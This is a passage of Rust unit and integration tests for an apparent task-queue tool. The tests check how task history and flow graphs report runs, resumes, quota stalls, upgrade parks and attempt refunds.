16878        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16879        assert_eq!(res.status, 404, "{}", res.body);
16880    }
16881
16882    #[tokio::test]
16883    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16884        let f = Fixture::start().await;
16885        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16886
16887        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16888        assert_eq!(deleted.status, 204, "{}", deleted.body);
16889
16890        let after = f.get(&format!("/api/talks/{id}")).await;
16891        assert_eq!(after.status, 404, "{}", after.body);
16892
16893        let listed = f.get("/api/talks").await.json();
16894        assert!(
16895            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16896            "a deleted talk must not linger in the list: {listed}"
16897        );
16898    }
16899
16900    #[tokio::test]
16901    async fn talk_delete_on_an_unknown_id_is_404() {
16902        let f = Fixture::start().await;
16903        let res = f.delete("/api/talks/nonexistent-id").await;
16904        assert_eq!(res.status, 404, "{}", res.body);
16905    }
16906
16907    /// A task's page lists every run it ever had, in order, and says what kind
16908    /// of attempt each was - including a resume, which re-pushes the same run
16909    /// id, and a run whose record this build cannot read.
16910    #[tokio::test]
16911    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16912        let f = Fixture::start().await;
16913        let (a, b, gone) = (
16914            "20260902-140501-aaaa",
16915            "20260902-140502-bbbb",
16916            "20260902-140503-cccc",
16917        );
16918        write_run(&f.runs(), a, RunStatus::Stalled);
16919        let mut review = RunState::new(
16920            PathBuf::from("/repo/magi"),
16921            "main".to_owned(),
16922            "0123456789abcdef".to_owned(),
16923            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16924                .to_owned(),
16925            Config::default(),
16926        );
16927        review.id = b.to_owned();
16928        review.status = RunStatus::Merged;
16929        write_state(&f.runs(), &review);
16930
16931        let mut task = Task::new(
16932            "retry".to_owned(),
16933            "Do the thing".to_owned(),
16934            PathBuf::from("/repo/magi"),
16935            Source::Human,
16936        );
16937        task.start(a.to_owned());
16938        task.stall("quota");
16939        task.start(a.to_owned());
16940        task.start(b.to_owned());
16941        task.start(gone.to_owned());
16942        // This fixture models an older queue file with repeated run entries.
16943        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16944        f.queue().put(&mut task).expect("file the task");
16945
16946        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16947        assert_eq!(res.status, 200, "{}", res.body);
16948        let v = res.json();
16949        let h = v["history"].as_array().expect("history");
16950        assert_eq!(h.len(), 4, "{v}");
16951        assert_eq!(h[0]["kind"], "competition");
16952        assert_eq!(h[0]["status"], "stalled");
16953        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16954        assert_eq!(h[1]["kind"], "resume", "{v}");
16955        assert!(
16956            h[0]["outcome"]
16957                .as_str()
16958                .unwrap()
16959                .contains("unknown. Pass #2"),
16960            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16961        );
16962        assert!(
16963            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16964            "{v}"
16965        );
16966        assert!(
16967            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16968            "an unrecorded cause must not be narrated as an operator park: {v}"
16969        );
16970        assert_eq!(h[2]["kind"], "review");
16971        assert!(
16972            h[2]["description"]
16973                .as_str()
16974                .unwrap()
16975                .contains("magi/aaaa/A")
16976        );
16977        assert_eq!(h[2]["status"], "merged");
16978        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16979        assert_eq!(v["runs_unreadable"], 1);
16980        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16981        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16982        assert_eq!(nodes[4]["note"], "unreadable");
16983        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16984        assert_eq!(v["instruction"], "Do the thing");
16985        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16986
16987        // The run's own page links back to the task.
16988        let run = f.get(&format!("/api/runs/{a}")).await.json();
16989        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16990
16991        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16992    }
16993
16994    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16995        let mut s = RunState::new(
16996            PathBuf::from("/repo/magi"),
16997            "main".to_owned(),
16998            "0123456789abcdef".to_owned(),
16999            "Do it".to_owned(),
17000            Config::default(),
17001        );
17002        s.status = status;
17003        edit(&mut s);
17004        s
17005    }
17006
17007    fn flow_task(runs: &[&str]) -> Task {
17008        let mut t = Task::new(
17009            "t".to_owned(),
17010            "Do it".to_owned(),
17011            PathBuf::from("/repo/magi"),
17012            Source::Human,
17013        );
17014        for r in runs {
17015            t.start((*r).to_owned());
17016        }
17017        // Synthetic flows without RunPass records model legacy queue data.
17018        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17019        t
17020    }
17021
17022    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17023        let h = task_history(task, |id| {
17024            states
17025                .iter()
17026                .find(|(i, _)| *i == id)
17027                .and_then(|(_, s)| s.clone())
17028        });
17029        task_flow(task, &h, 5, None)
17030    }
17031
17032    #[test]
17033    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17034        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17035        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17036        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17037        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17038        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17039        let run = flow_run(RunStatus::Implementing, |s| {
17040            s.created_at = created;
17041            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17042            s.passes[0].started_at = first;
17043            s.passes[1].started_at = resumed;
17044        });
17045        let mut task = flow_task(&[RUN_X, RUN_X]);
17046        task.created_at = queued;
17047        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17048        task.status = TaskStatus::Held;
17049        task.held_at = Some(held);
17050        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17051        assert_eq!(
17052            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17053            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17054        );
17055        assert!(flow.nodes.iter().all(|n| n.time_expected));
17056        let json = serde_json::to_value(&flow).unwrap();
17057        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17058        assert_eq!(json["nodes"][2]["time_expected"], true);
17059    }
17060
17061    #[test]
17062    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17063        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17064        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17065        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17066        // These timestamps are not the start of the current status.
17067        task.held_at = Some(created);
17068        task.blocked_at = Some(created);
17069        for status in [
17070            TaskStatus::Queued,
17071            TaskStatus::Running,
17072            TaskStatus::Blocked,
17073            TaskStatus::Done,
17074            TaskStatus::Failed,
17075            TaskStatus::Parked,
17076            TaskStatus::Held,
17077        ] {
17078            task.status = status;
17079            if status == TaskStatus::Held {
17080                task.held_at = None;
17081            }
17082            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17083            assert_eq!(flow.nodes[1].started_at, Some(created));
17084            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17085            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17086            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17087            let json = serde_json::to_value(&flow).unwrap();
17088            assert!(json["nodes"][3]["started_at"].is_null());
17089            assert_eq!(json["nodes"][3]["time_expected"], true);
17090        }
17091    }
17092
17093    #[test]
17094    fn flow_context_links_do_not_expect_start_times() {
17095        let mut task = flow_task(&[]);
17096        task.source = Source::Agent {
17097            run: "chat-id".to_owned(),
17098            node: "chat".to_owned(),
17099        };
17100        let origin = followup_origin(&fu(None), |_| None, |_| None);
17101        let flow = task_flow(&task, &[], 5, Some(&origin));
17102        for node in &flow.nodes[..2] {
17103            assert!(!node.time_expected);
17104            assert_eq!(node.started_at, None);
17105        }
17106        assert!(flow.nodes[2].time_expected);
17107    }
17108
17109    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17110        crate::queue::FollowUp {
17111            run: "20260901-000000-aaaa".to_owned(),
17112            origin_task: origin_task.map(str::to_owned),
17113            pr: "https://example.com/o/r/pull/1".to_owned(),
17114            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17115                .map(str::to_owned)
17116                .to_vec(),
17117            generation: 1,
17118        }
17119    }
17120
17121    fn parent_task() -> Task {
17122        let mut p = flow_task(&[]);
17123        p.title = "Parent title".to_owned();
17124        p.status = TaskStatus::Done;
17125        p
17126    }
17127
17128    #[test]
17129    fn flow_opens_with_the_parent_task_of_a_followup() {
17130        let p = parent_task();
17131        let pid = p.id.clone();
17132        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17133        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17134        let n = &f.nodes[0];
17135        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17136        assert_eq!(
17137            n.label,
17138            format!("Follow-up of {}", crate::queue::short(&pid))
17139        );
17140        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17141        assert_eq!(n.status, Some("done"));
17142        assert_eq!(n.status_of, "task");
17143        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17144        assert_eq!(f.nodes[1].key, "start");
17145        assert_eq!(f.edges[0].from, "origin");
17146        assert_eq!(
17147            f.edges[0].label,
17148            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17149        );
17150    }
17151
17152    #[test]
17153    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17154        let o = followup_origin(
17155            &fu(Some("gone")),
17156            |_| None,
17157            |_| {
17158                Some(RunState::new(
17159                    std::path::PathBuf::from("."),
17160                    "main".to_owned(),
17161                    "0".to_owned(),
17162                    "t".to_owned(),
17163                    crate::config::Config::default(),
17164                ))
17165            },
17166        );
17167        assert!(o.parent.is_none());
17168        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17169        let n = &f.nodes[0];
17170        assert_eq!(n.status_of, "run");
17171        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17172        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17173    }
17174
17175    #[test]
17176    fn flow_followup_with_nothing_readable_has_no_link() {
17177        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17178        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17179        let n = &f.nodes[0];
17180        assert_eq!(n.href, None);
17181        assert_eq!(n.note, Some("unreadable"));
17182        assert!(!n.readable);
17183    }
17184
17185    #[test]
17186    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17187        let o = followup_origin(&fu(None), |_| None, |_| None);
17188        let mut t = flow_task(&[]);
17189        t.origin_chat = Some("c1".to_owned());
17190        let f = task_flow(&t, &[], 5, Some(&o));
17191        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17192        t.source = Source::Agent {
17193            run: "c1".to_owned(),
17194            node: crate::queue::CHAT_NODE.to_owned(),
17195        };
17196        let f = task_flow(&t, &[], 5, Some(&o));
17197        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17198        assert_eq!(
17199            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17200            ("chat", "origin")
17201        );
17202    }
17203
17204    #[test]
17205    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17206        let mut p = parent_task();
17207        p.id = "a b/c".to_owned();
17208        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17209        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17210    }
17211
17212    #[test]
17213    fn flow_opens_with_the_chat_that_queued_the_task() {
17214        let mut t = flow_task(&[]);
17215        t.source = Source::Agent {
17216            run: "a b/c".to_owned(),
17217            node: crate::queue::CHAT_NODE.to_owned(),
17218        };
17219        let f = flow_for(&t, &[]);
17220        assert_eq!(f.nodes[0].key, "chat");
17221        assert_eq!(f.nodes[0].kind, "chat");
17222        assert_eq!(
17223            f.nodes[0].label,
17224            format!("Chat {}", crate::queue::short("a b/c"))
17225        );
17226        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17227        assert_eq!(f.nodes[1].key, "start");
17228        assert_eq!(
17229            f.edges[0],
17230            FlowEdge {
17231                from: "chat".to_owned(),
17232                to: "start".to_owned(),
17233                label: "queued from chat".to_owned(),
17234                attempt: AttemptCost::None,
17235            }
17236        );
17237    }
17238
17239    #[test]
17240    fn flow_has_no_chat_box_for_other_sources() {
17241        for source in [
17242            Source::Human,
17243            Source::Issue {
17244                number: 3,
17245                repo: "o/r".to_owned(),
17246            },
17247            Source::Agent {
17248                run: "20260904-014455-ab12".to_owned(),
17249                node: "implement".to_owned(),
17250            },
17251        ] {
17252            let mut t = flow_task(&[]);
17253            t.source = source;
17254            let f = flow_for(&t, &[]);
17255            assert_eq!(f.nodes[0].key, "start");
17256            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17257            assert!(f.edges.iter().all(|e| e.from != "chat"));
17258        }
17259    }
17260
17261    const FA: &str = "20260902-140501-aaaa";
17262    const FB: &str = "20260902-140502-bbbb";
17263
17264    #[test]
17265    fn flow_follows_blocked_retry_merged_to_done() {
17266        let mut t = flow_task(&[FA, FB]);
17267        t.status = TaskStatus::Done;
17268        let f = flow_for(
17269            &t,
17270            &[
17271                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17272                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17273            ],
17274        );
17275        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17276        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17277        assert_eq!(f.edges.len(), 3);
17278        assert_eq!(f.edges[0].label, "claimed");
17279        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17280        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17281        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17282        assert_eq!(
17283            f.nodes[2].href.as_deref(),
17284            Some("#/runs/20260902-140502-bbbb")
17285        );
17286        assert!(f.nodes[2].decided);
17287    }
17288
17289    #[test]
17290    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17291        let quota = || {
17292            flow_run(RunStatus::Stalled, |s| {
17293                s.quota.push(crate::run::QuotaLoss {
17294                    cause: crate::agent::QuotaCause::UsageLimit,
17295                    agent: String::new(),
17296                    seat: "judge-1".to_owned(),
17297                    node: "judge".to_owned(),
17298                    at: Timestamp::now(),
17299                    reset: None,
17300                })
17301            })
17302        };
17303        let mut t = flow_task(&[FA, FA]);
17304        t.status = TaskStatus::Queued;
17305        let f = flow_for(&t, &[(FA, Some(quota()))]);
17306        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17307        assert_eq!(f.nodes[1].note, Some("interrupted"));
17308        assert_eq!(
17309            f.nodes[1].status, None,
17310            "no outcome copied onto an earlier pass"
17311        );
17312        assert_eq!(
17313            f.edges[1].attempt,
17314            AttemptCost::Unknown,
17315            "a resume does not prove the earlier pass was refunded"
17316        );
17317        assert!(f.edges[1].label.contains("resume the same run"));
17318        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17319        assert_eq!(
17320            f.edges[2].label,
17321            "stalled after a resume, refund unknown \u{2192} queued"
17322        );
17323        assert!(!f.nodes[2].decided, "a stall is not a decision");
17324        assert_eq!(f.nodes[2].note, Some("no verdict"));
17325    }
17326
17327    #[test]
17328    fn flow_single_pass_quota_stall_is_refunded() {
17329        let t = flow_task(&[FA]);
17330        let f = flow_for(
17331            &t,
17332            &[(
17333                FA,
17334                Some(flow_run(RunStatus::Stalled, |s| {
17335                    s.quota.push(crate::run::QuotaLoss {
17336                        cause: crate::agent::QuotaCause::UsageLimit,
17337                        agent: String::new(),
17338                        seat: "judge-1".to_owned(),
17339                        node: "judge".to_owned(),
17340                        at: Timestamp::now(),
17341                        reset: None,
17342                    })
17343                })),
17344            )],
17345        );
17346        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17347    }
17348
17349    #[test]
17350    fn flow_parked_refunds_and_stall_without_quota_spends() {
17351        let mut t = flow_task(&[FA]);
17352        t.status = TaskStatus::Queued;
17353        let f = flow_for(
17354            &t,
17355            &[(
17356                FA,
17357                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17358            )],
17359        );
17360        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17361        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17362        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17363        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17364        assert!(!f.nodes[1].decided);
17365    }
17366
17367    #[test]
17368    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17369        let t = flow_task(&[FA, FB]);
17370        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17371        assert_eq!(f.nodes[1].note, Some("unreadable"));
17372        assert!(!f.nodes[1].readable);
17373        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17374        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17375    }
17376
17377    #[test]
17378    fn flow_names_the_branch_of_a_review_only_run() {
17379        let t = flow_task(&[FA]);
17380        let f = flow_for(
17381            &t,
17382            &[(
17383                FA,
17384                Some(flow_run(RunStatus::Merged, |s| {
17385                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17386                })),
17387            )],
17388        );
17389        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17390        assert_eq!(
17391            f.nodes[1].detail.as_deref(),
17392            Some("review-only run of branch magi/x/A")
17393        );
17394    }
17395
17396    #[test]
17397    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17398        let mut t = flow_task(&[FA]);
17399        t.status = TaskStatus::Held;
17400        let pr = crate::run::PrRecord {
17401            url: "https://example.test/pr/1".to_owned(),
17402            number: 1,
17403            state: "open".to_owned(),
17404            checks: "green".to_owned(),
17405            round: 0,
17406            rounds: 3,
17407            red_at_merge: Vec::new(),
17408        };
17409        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17410        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17411        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17412        t.status = TaskStatus::Done;
17413        let f = flow_for(&t, &[(FA, Some(blocked))]);
17414        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17415    }
17416
17417    #[test]
17418    fn flow_with_no_runs_goes_from_queued_to_queued() {
17419        let t = flow_task(&[]);
17420        let f = flow_for(&t, &[]);
17421        assert_eq!(f.nodes.len(), 2);
17422        assert_eq!(f.edges.len(), 1);
17423        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17424        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17425    }
17426
17427    /// A run parked mid-flight keeps a non-terminal status; the page must
17428    /// still say why it stopped and that the attempt came back.
17429    #[test]
17430    fn a_parked_non_terminal_run_is_explained_as_parked() {
17431        let mut s = RunState::new(
17432            PathBuf::from("/repo/magi"),
17433            "main".to_owned(),
17434            "0123456789abcdef".to_owned(),
17435            "Do it".to_owned(),
17436            Config::default(),
17437        );
17438        s.status = RunStatus::Implementing;
17439        s.parked = true;
17440        let task = Task::new(
17441            "t".to_owned(),
17442            "Do it".to_owned(),
17443            PathBuf::from("/repo/magi"),
17444            Source::Human,
17445        );
17446        let v = task_run_view(
17447            "20260902-140501-aaaa",
17448            Some(&s),
17449            RunSlot {
17450                n: 1,
17451                resumed: false,
17452                resumed_later: None,
17453                prior: None,
17454                last: true,
17455                ..RunSlot::default()
17456            },
17457            &task,
17458        );
17459        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17460    }
17461
17462    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17463        let mut s = flow_run(RunStatus::Implementing, edit);
17464        s.parked = false;
17465        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17466        task_run_view(
17467            "20260902-140501-aaaa",
17468            Some(&s),
17469            RunSlot {
17470                n: 1,
17471                resumed: false,
17472                resumed_later: Some(2),
17473                prior: None,
17474                last: false,
17475                ..RunSlot::default()
17476            },
17477            &task,
17478        )
17479    }
17480
17481    #[test]
17482    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17483        let v = earlier_pass_view(|_| {});
17484        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17485        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17486        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17487        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17488        assert_eq!(v.exit, RunExit::Interrupted);
17489        assert_eq!(v.attempt, AttemptCost::Unknown);
17490    }
17491
17492    #[test]
17493    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17494        let v = earlier_pass_view(|s| {
17495            s.quota.push(crate::run::QuotaLoss {
17496                cause: crate::agent::QuotaCause::UsageLimit,
17497                agent: String::new(),
17498                seat: "judge-1".to_owned(),
17499                node: "judge".to_owned(),
17500                at: Timestamp::now(),
17501                reset: None,
17502            });
17503        });
17504        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17505        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17506        assert_eq!(v.attempt, AttemptCost::Unknown);
17507    }
17508
17509    #[test]
17510    fn the_current_pass_states_its_recorded_cause_and_cost() {
17511        let slot = || RunSlot {
17512            n: 1,
17513            resumed: false,
17514            resumed_later: None,
17515            prior: None,
17516            last: true,
17517            ..RunSlot::default()
17518        };
17519        let task = flow_task(&["20260902-140501-aaaa"]);
17520        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17521        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17522        assert_eq!(
17523            (v.exit, v.attempt),
17524            (RunExit::Parked, AttemptCost::Refunded)
17525        );
17526        let spent = flow_run(RunStatus::Blocked, |_| {});
17527        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17528        assert_eq!(v.attempt, AttemptCost::Spent);
17529        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17530    }
17531
17532    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17533        crate::run::RunPass {
17534            index,
17535            started_at: Timestamp::now(),
17536            resumed: index > 0,
17537            ended_at: end.as_ref().map(|_| Timestamp::now()),
17538            end,
17539            task_entry: true,
17540        }
17541    }
17542
17543    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17544        Some(crate::run::PassEnd::Parked { cause })
17545    }
17546
17547    fn upgrade_cause() -> crate::run::ParkCause {
17548        crate::run::ParkCause::Upgrade {
17549            from: "0.121.0".to_owned(),
17550            to: Some("0.121.1".to_owned()),
17551        }
17552    }
17553
17554    fn settled_pass(
17555        run: &str,
17556        index: usize,
17557        cost: crate::queue::PassCost,
17558    ) -> crate::queue::TaskPass {
17559        crate::queue::TaskPass {
17560            run: run.to_owned(),
17561            pass_index: index,
17562            started_at: None,
17563            cost,
17564            attempts_after: 1,
17565            settled_at: Timestamp::now(),
17566            parked: None,
17567        }
17568    }
17569
17570    const RUN_X: &str = "20261011-223708-4334";
17571
17572    #[test]
17573    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17574        use crate::queue::PassCost;
17575        let run = flow_run(RunStatus::Implementing, |s| {
17576            s.passes = vec![
17577                recorded_pass(0, parked(upgrade_cause())),
17578                recorded_pass(1, None),
17579            ];
17580        });
17581        let mut task = flow_task(&[RUN_X, RUN_X]);
17582        task.attempts = 1;
17583        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17584        let h = task_history(&task, |_| Some(run.clone()));
17585        assert_eq!(h.len(), 2);
17586        assert_eq!(h[0].kind, "competition");
17587        assert_eq!(h[1].kind, "resume");
17588        assert_eq!(
17589            (h[0].exit, h[0].attempt),
17590            (RunExit::Parked, AttemptCost::Refunded)
17591        );
17592        assert!(
17593            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17594            "{}",
17595            h[0].outcome
17596        );
17597        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17598        assert!(
17599            h[0].outcome.contains("pass #2 resumed the same run"),
17600            "{}",
17601            h[0].outcome
17602        );
17603        assert!(
17604            h[0].outcome.contains("pass 1 of 2 over run"),
17605            "{}",
17606            h[0].outcome
17607        );
17608        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17609        assert_eq!(
17610            h[0].exit_label,
17611            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17612        );
17613        let f = task_flow(&task, &h, 2, None);
17614        // Two passes of one run, one of two attempts consumed.
17615        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17616        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17617        assert!(
17618            f.edges[1].label.contains("upgrade 0.121.0"),
17619            "{}",
17620            f.edges[1].label
17621        );
17622        assert!(
17623            f.edges[1].label.contains("resume the same run"),
17624            "{}",
17625            f.edges[1].label
17626        );
17627        assert_eq!(f.nodes[1].note, Some("parked"));
17628    }
17629
17630    #[test]
17631    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17632        let mut a = flow_run(RunStatus::Implementing, |s| {
17633            s.passes = vec![
17634                recorded_pass(0, parked(upgrade_cause())),
17635                recorded_pass(1, None),
17636            ];
17637        });
17638        let mut b = flow_run(RunStatus::Failed, |s| {
17639            s.passes = vec![recorded_pass(0, None)];
17640        });
17641        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17642        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17643        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17644        let mut task = flow_task(&[]);
17645        task.start("a".into());
17646        task.start("b".into());
17647        task.start("a".into());
17648        assert_eq!(task.runs, ["b", "a"]);
17649        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17650        let h = task_history(&task, |id| {
17651            Some(if id == "a" { a.clone() } else { b.clone() })
17652        });
17653        assert_eq!(
17654            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17655            ["a", "b", "a"]
17656        );
17657        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17658        assert!(h[0].outcome.contains("upgrade"));
17659        assert_eq!(h[2].kind, "resume");
17660        assert!(h[2].pass.is_some());
17661        // The old repeated-id format must show the same recorded passes.
17662        task.runs = vec!["a".into(), "b".into(), "a".into()];
17663        let old = task_history(&task, |id| {
17664            Some(if id == "a" { a.clone() } else { b.clone() })
17665        });
17666        assert_eq!(
17667            old.iter()
17668                .map(|v| (&v.id, &v.kind, v.attempt))
17669                .collect::<Vec<_>>(),
17670            h.iter()
17671                .map(|v| (&v.id, &v.kind, v.attempt))
17672                .collect::<Vec<_>>()
17673        );
17674    }
17675
17676    #[test]
17677    fn an_upgrade_whose_target_was_not_known_says_so() {
17678        let run = flow_run(RunStatus::Implementing, |s| {
17679            s.passes = vec![
17680                recorded_pass(
17681                    0,
17682                    parked(crate::run::ParkCause::Upgrade {
17683                        from: "0.121.0".to_owned(),
17684                        to: None,
17685                    }),
17686                ),
17687                recorded_pass(1, None),
17688            ];
17689        });
17690        let task = flow_task(&[RUN_X, RUN_X]);
17691        let h = task_history(&task, |_| Some(run.clone()));
17692        assert!(
17693            h[0].outcome.contains("upgrade from 0.121.0"),
17694            "{}",
17695            h[0].outcome
17696        );
17697        // No settle record: the refund is not claimed.
17698        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17699    }
17700
17701    #[test]
17702    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17703        use crate::queue::PassCost;
17704        use crate::run::ParkCause;
17705        let run = flow_run(RunStatus::Implementing, |s| {
17706            s.passes = vec![
17707                recorded_pass(0, parked(upgrade_cause())),
17708                recorded_pass(
17709                    1,
17710                    parked(ParkCause::Interrupt {
17711                        reason: "task a1b2 asked to run first".to_owned(),
17712                    }),
17713                ),
17714                recorded_pass(2, parked(ParkCause::Operator)),
17715                recorded_pass(3, None),
17716            ];
17717        });
17718        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17719        task.attempts = 1;
17720        task.passes = (0..3)
17721            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17722            .collect();
17723        let h = task_history(&task, |_| Some(run.clone()));
17724        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17725        assert!(
17726            h[1].outcome.contains("task a1b2 asked to run first"),
17727            "{}",
17728            h[1].outcome
17729        );
17730        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17731        assert!(
17732            h[2].outcome.contains("operator asked the loop to park"),
17733            "{}",
17734            h[2].outcome
17735        );
17736        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17737        let f = task_flow(&task, &h, 2, None);
17738        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17739    }
17740
17741    #[test]
17742    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
